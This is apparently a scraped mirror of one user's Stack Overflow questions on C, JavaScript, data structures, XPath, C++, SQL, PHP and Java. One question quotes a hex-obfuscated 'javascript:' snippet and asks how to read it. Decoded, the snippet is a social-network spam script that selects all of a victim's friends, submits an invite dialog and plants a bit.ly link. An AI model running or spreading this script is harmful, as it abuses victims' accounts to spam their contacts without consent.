小编out*_*tis的帖子

C是否在堆栈上创建了字符串文字?

我对这个表达有点困惑:

char *s = "abc";
Run Code Online (Sandbox Code Playgroud)

字符串文字是否在堆栈上创建?

我知道这个表达方式

char *s = (char *)malloc(10 * sizeof(char));
Run Code Online (Sandbox Code Playgroud)

在堆和此表达式上分配内存

char s[] = "abc";
Run Code Online (Sandbox Code Playgroud)

在堆栈上分配内存,但我完全不确定第一个表达式的作用.

c

4
推荐指数
2
解决办法
434
查看次数

是不是编译了Javascript?检查里面

请注意,我对Javascript没有经验.如果javascript代码如下所示:

javascript:var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73"...
Run Code Online (Sandbox Code Playgroud)

然后编译?如果是这样,有什么方法可以反编译吗?如果没有编译,那么有关如何阅读此类代码的任何帮助?

任何帮助将不胜感激.

编辑:

谢谢大家的回应.哇,我不知道我会很快得到回复,感谢Stackoverflow.

然而,任何人都可以帮助我使这比以下更容易阅读:

var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
             "\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64",
             "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
             "\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e",
             "\x73\x75\x67\x67\x65\x73\x74",
             "\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
             "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
             "\x63\x6C\x69\x63\x6B",
             "\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
             "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
             "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
             "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
             "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
             "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
void ( document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]=_0x89f8[3] );
var ss=document[_0x89f8[2]](_0x89f8[4]);
var c=document[_0x89f8[6]](_0x89f8[5]);
c[_0x89f8[8]](_0x89f8[7],true,true);
void (ss[_0x89f8[9]](c));
void (setTimeout(function (){fs[_0x89f8[10]]();} ,3000));
void (setTimeout(function (){SocialGraphManager[_0x89f8[13]](_0x89f8[11],_0x89f8[12]);} ,4000));
void (setTimeout(function(){document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]= '\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x62\x69\x74\x2e\x6c\x79\x2f\x38\x5a\x72\x72\x46\x4f\x22\x3e\x4f\x6e\x65\x20\x43\x6c\x69\x63\x6b\x20\x46\x65\x72\x74\x69\x6c\x69\x7a\x65\x3c\x2f\x61\x3e';} ,4500));
Run Code Online (Sandbox Code Playgroud)

javascript compiled

4
推荐指数
2
解决办法
4682
查看次数

具有快速搜索和插入的类似队列的数据结构

我需要一个具有以下属性的数据结构:

  1. 它包含整数。
  2. 不允许重复(也就是说,它最多存储任何整数之一)。
  3. 达到最大大小后,第一个元素将被删除。因此,如果容量为 3,则放入连续数字时将如下所示:{}, {1}, {1, 2}, {1, 2, 3}, {2, 3, 4}, {3,4,5}等
  4. 只需要两个操作:将数字插入到该容器中(INSERT)并检查该数字是否已在容器中(EXISTS)。EXISTS 操作的数量预计约为 2 * INSERT 操作的数量。
  5. 我需要这些操作尽可能快。

对于这种情况,最快的数据结构或数据结构组合是什么?

performance data-structures

4
推荐指数
1
解决办法
3825
查看次数

当使用大于和小于?时,xpath查询返回错误的值

此查询返回的值小于1000.它应该只返回1000到1100之间的值.为什么会这样?

//results/Building[ 1 = 1 and (( Vacancy/sqft > 1000 ) and ( Vacancy/sqft < 1100 ) ) ]

查询将返回以下建筑物,其空位小于1000平方英尺,大于1100平方英尺:

<Building>
  <Vacancy><sqft>900</sqft></Vacancy>
  <Vacancy><sqft>1000</sqft></Vacancy>
  <Vacancy><sqft>2000</sqft></Vacancy>
  <Vacancy><sqft>500</sqft></Vacancy>
</Building>
Run Code Online (Sandbox Code Playgroud)

为什么它包含在结果中?

样本数据:

<results>
  <Building><!--Shouldn't be selected.--></Building>

  <Building><!--Should be selected-->
    <Vacancy><sqft>1050</sqft></Vacancy>
  </Building>

  <Building><!--Should be selected-->
    <Vacancy><sqft>1025</sqft></Vacancy>
    <Vacancy><sqft>1075</sqft></Vacancy>
  </Building>

  <Building><!--Shouldn't be selected-->
    <Vacancy><sqft>10</sqft></Vacancy>
    <Vacancy><sqft>50</sqft></Vacancy>
  </Building>

  <Building><!--Should be selected.-->
    <Vacancy><sqft>1050</sqft></Vacancy>
    <Vacancy><sqft>2000</sqft></Vacancy>
  </Building>

  <Building><!--Should be selected.-->
    <Vacancy><sqft>900</sqft></Vacancy>
    <Vacancy><sqft>1040</sqft></Vacancy>
  </Building>

  <Building><!--Shouldn't be selected-->
    <Vacancy><sqft>10500</sqft></Vacancy>
  </Building>

  <Building><!--Shouldn't be selected-->
    <Vacancy><sqft>900</sqft></Vacancy>
    <Vacancy><sqft>1000</sqft></Vacancy>
    <Vacancy><sqft>2000</sqft></Vacancy>
    <Vacancy><sqft>500</sqft></Vacancy>
  </Building>

</results>
Run Code Online (Sandbox Code Playgroud)

谢谢.

xml xpath

4
推荐指数
2
解决办法
7662
查看次数

在C++中对泛型类重载+运算符

我正在尝试重载林类中的+运算符,林是树的集合,而+运算符应该将两个林合并为一个.我有以下代码作为我的类定义:

template<typename NODETYPE>
class Forest
{


    public:

        friend Forest& operator+<>(Forest&, Forest&);
        friend ostream& operator<<<>(ostream&, const Forest&);
        friend istream& operator>><>(istream&, Forest&);
        Forest();
        Forest( const Forest& otherForest);
        ~Forest();
        void nodes(int&) const;

    private:
        ForestNode<NODETYPE> *root;

        ForestNode<NODETYPE> *getNewNode( const NODETYPE &);
};
Run Code Online (Sandbox Code Playgroud)

以下是我对operator +的实现:

template<typename NODETYPE>
Forest& operator+<>(Forest& f1, Forest& f2)
{
    f3 = new Forest();
    f3.root = *f1.*root;
    f3.root.sibling = *f2.*root;
    *f1.root = 0;
    *f2.root = 0;
    return f3;
}
Run Code Online (Sandbox Code Playgroud)

我在编译时遇到以下错误:

|28|error: expected constructor, destructor, or type conversion before '&' token|

第28行指的是我的运算符+实现的签名.

我认为要纠正它我应该添加到返回类型,给出: …

c++ templates overloading operator-keyword

4
推荐指数
1
解决办法
2966
查看次数

具有唯一结果行的MYSQL JOIN

假设我有2个表,一个叫做类别,一个叫做cat_pages.

类别表具有列ID,标题和时间戳.例如:

CREATE TABLE categories (
    id INT UNSIGNED PRIMARY KEY,
    title VARCHAR(32),
    `timestamp` TIMESTAMP,
    INDEX (title)
) Engine=InnoDB;
Run Code Online (Sandbox Code Playgroud)

cat_pages有2列,cat_id和page_id:

CREATE TABLE cat_pages (
    cat_id INT UNSIGNED 
        REFERENCES categories (id) 
        ON DELETE CASCADE ON UPDATE CASCADE,
    page_id INT UNSIGNED
        REFERENCES pages (id) 
        ON DELETE CASCADE ON UPDATE CASCADE,
    UNIQUE INDEX (cat_id, page_id),
    INDEX (page_id, cat_id),
) Engine=InnoDB;
Run Code Online (Sandbox Code Playgroud)

我正在尝试使用ID上的cat_pages表加入类别表,这样就可以了

  1. 仅检索category_pages表中具有id的类别
  2. 每个类别仅在结果集中显示一次

查询:

SELECT * FROM categories as c
    LEFT JOIN cat_pages as p ON c.id = p.cat_id
Run Code Online (Sandbox Code Playgroud)

生成一个重复多次类别的结果集(因为cat_pages表中有多个匹配项.我需要什么才能使每个类别只显示一次,如果cat_pages表中没有匹配则根本不显示?

mysql sql join

4
推荐指数
1
解决办法
2万
查看次数

SQL - >关系代数

假设我有以下关系:

Branch (branchNo(PK), street, city, postcode)

Staff (staffNo(PK), fName, lName, sex, branchNo(FK))
Run Code Online (Sandbox Code Playgroud)

这并不重要,但PK =主键和FK =外键

如何为以下查询编写关系代数:

列出在格拉斯哥工作的所有女性员工的姓名.

我的尝试:

?Staff.sex=F & Branch.city = Glasgow(?fName, lName, sex, branchNo(Staff) x ?city, branchNo(Branch))

我知道我的选择(σ)语句(不要与SELECT混淆)在语法上是不正确的:

?Staff.sex=F & Branch.city = Glasgow
Run Code Online (Sandbox Code Playgroud)

如何在不同的关系上写两个选项?或者换句话说,如何在关系代数的WHERE子句中表达具有两个或更多条件的SQL语句?我用'&'但是这不可能是对的吗?我是否必须在另一个中嵌入一个选择?

不是家庭作业

sql relational-algebra algebra relation

4
推荐指数
1
解决办法
6260
查看次数

如何用其值替换数组键

我有以下数组:

array('Elnett', 'INOA INOA', 'Playball P', 'Preferred Color Specialist', 
      'Série Expert', 'Série Nature', 'Techni art')
Run Code Online (Sandbox Code Playgroud)

我想要键和值如:

array('Elnett' => 'Elnett', 
      'INOA INOA' => 'INOA INOA', 
      'Playball P' => 'Playball', 
      'Preferred Color Specialis' => 'Preferred Color Specialist', 
      'Série Expert' => 'Série Expert', 
      'Série Nature' => 'Série Nature', 
      'Techni art' => 'Techni art')
Run Code Online (Sandbox Code Playgroud)

我怎么能做到这一点?

php arrays

4
推荐指数
3
解决办法
2万
查看次数

两个 Integer 对象相减会得到 Integer 还是原始 int?

假设我们有两个 Integer 对象:

Integer i=100,j=200;
Run Code Online (Sandbox Code Playgroud)

计算结果是否(j-i)为另一个值为 100 的 Integer Wrapper 对象或一个原语int

java wrapper

4
推荐指数
1
解决办法
2万
查看次数

一个更好的SQL字符串清理功能

我目前正在使用以下函数来清理我的$ _POST和$ _GET反对SQL注入.不幸的是,我不能通过它发布代码,例如:" <a href test".Twitter如何做到这一点?

 function _secinput($variable)
 {return filter_var(mysql_real_escape_string($variable), FILTER_SANITIZE_STRING); }
Run Code Online (Sandbox Code Playgroud)

另外,任何人都可以告诉我是否可以通过任何方式改进它?

php security

4
推荐指数
1
解决办法
1万
查看次数